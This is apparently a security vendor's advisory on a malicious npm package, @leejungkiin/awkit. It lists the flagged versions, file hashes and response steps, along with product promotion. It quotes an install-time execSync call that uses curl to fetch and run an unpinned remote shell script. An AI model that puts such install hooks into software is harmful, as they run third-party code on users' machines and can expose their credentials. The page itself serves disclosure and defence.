Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

@leejungkiin/awkitnpm

@leejungkiin/awkit is a confirmed malicious npm package (MAL-2026-13427) that steals credentials and exfiltrates sensitive data (malicious versions 3.3.1, 3.3.2, 3.3.3…). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @leejungkiin/awkit (npm)

MAL-2026-13427
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @leejungkiin/awkit

What this malware does

The package ships scripts/dependency-manager.js which, when run as part of the install lifecycle, invokes execSync('curl -fsSL https://raw.githubusercontent.com/rtk-ai/rtk/refs/heads/master/install.sh...') to fetch and execute an installer script from the rtk-ai/rtk repository on a mutable master branch. The fetched shell script is not pinned to a commit or hash and is controlled by a third-party GitHub account whose relationship to the @leejungkiin scope is not established. The same script also contacts https://www.rtk-ai.app and reads platform/home-directory information (os.homedir(), process.platform) during its operation. Because npm executes lifecycle scripts on install, this results in remote code execution from an unpinned, third-party-controlled source on the installer's machine, and the fetched code has full shell privileges to modify the environment, install further binaries, or exfiltrate host data. Additional bundled code (bin/awk.js, scripts/model-manager.js) combines child_process usage with hardcoded HTTP POST/fetch endpoints in a minified bundle.

Malicious versions

26 flagged
3.3.13.3.23.3.33.3.43.3.53.3.83.3.93.4.03.4.13.4.23.4.33.4.43.4.53.4.63.4.73.4.83.5.03.5.53.5.63.5.73.5.83.5.93.5.103.6.03.6.13.6.2

Indicators of compromise (SHA-256)

0a1a925a4b666d348aed293111236b77719aa29e1d5d130a17cf6d73ceda734e
42faaa7f4f9cb95f0d65f6f40859cf76c2e8a1e154fdce9293b60599f26e038e
d4a5d67590bc44ac283475db8af4539baac581fb913d0d28bfa3aeeb7f3168ea
0aa6db17591fc0a27924ca615763ffd2a3eb92d0f517de9719ce74ef47ac4add
3e499c5c0eabd3d65b9dda518fbb66f4c21b84df9197103ad4fcdc4f227354af
a577737407f35d7b4fbf0431aff54120225be0f9c15e9663f0630024b5b51946
d373c1a3b3d4e7d84a6e7dc2133890b6675426abc73486e61ebf833169f4e43b
f83f447a2daea941d56335e320da7042b6317d576a94bd3fdc1ed864330fd813
1065add408e0c6b547f781d3eabea2bbc4dd24b4576bd484b8e3c16d884720ac
11d2a8af770eb13adf7579dc2c3c509f41455bc3324b1f7dac68c25c4e87ba4f
2fa77026374f0027fc9c2f41c9f6bbafeb51a0570d7a4a2e92b7607c13c75271
329106cb85649866ee343f65c84c1a9d28c00566adbc1052bfcf960e8319a974
5e4a132a5cc06766fa18facfd5508d390efcf6edf4b65dcd5b8dc8cef36c738e
7f30a0974e6cecbaec4965af63bf40a1b0421ec8b98a84d2496be7c0c5593760
bf076f6ea09cee0d5ecad5e8891824de19f4e8a7225aca2c93d2037fe493862d
c60d57329c21d332faeba9050acdd8525edf4f1fe63f89ace8fa1dcc70aad93c
25a2ff97af8a46fa8229c044e827e21acf3b083a4693b8841c64f7ca997d9ab0
397f7af10dc34a1ee6275ceab224d4d7a6b2c25b682818afbd3d64765e549386
4f69382e3c75aa4bc66ce9efadd3661e5af7cfde7f761717a26b8e74d8486e60
6d9d978dc352805ffde329c488834a32666b90c0c6309ee2c511ef11a88aa947
70f62693f5cf05acfaac84926f4fdcfed7e9148eaba2498ead0aa706525b004b
ca64abd89bb7bc014c7fbfdc98d5bafaa0addc058539c385c1dad6aafa30ca4f
d6aa7c559a7ed6d9555d51f4e632cd0cd0d7871e8562c00c3b766a8e00136f22
6635437701cd2765e1d97623636c4906b144d75442904b5afd1e6983a52d9a18
30c74792557ba4501f04cbd010be3d25002c8ca55234c57bd75f7f93f7ed5618
3a2caadd8c859f96014136ec3c01d7b6b8016ff218f157651f5f40f2a3e5227c

Detection & response playbook

Credential / info stealer
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @leejungkiin/awkit (26 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @leejungkiin/awkit across your stack and pipelines.

  2. If you installed it — respond

    @leejungkiin/awkit is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If @leejungkiin/awkit was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks @leejungkiin/awkit before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @leejungkiin/awkit on npm has been identified as a malicious package (versions 3.3.1, 3.3.2, 3.3.3, 3.3.4, 3.3.5, 3.3.8, 3.3.9, 3.4.0, and 18 more flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-016622IN-MAL-2026-016639IN-MAL-2026-016630IN-MAL-2026-016633IN-MAL-2026-016621IN-MAL-2026-016645IN-MAL-2026-016626IN-MAL-2026-016629IN-MAL-2026-016625IN-MAL-2026-016632IN-MAL-2026-016635IN-MAL-2026-016627IN-MAL-2026-016637IN-MAL-2026-016640IN-MAL-2026-016623IN-MAL-2026-016641IN-MAL-2026-016646IN-MAL-2026-016643IN-MAL-2026-016644IN-MAL-2026-016636IN-MAL-2026-016642IN-MAL-2026-016634IN-MAL-2026-016628IN-MAL-2026-016631IN-MAL-2026-016624IN-MAL-2026-016638

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks @leejungkiin/awkit-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

@leejungkiin/awkit (npm) malicious package — MAL-2026-13427 | O3 Security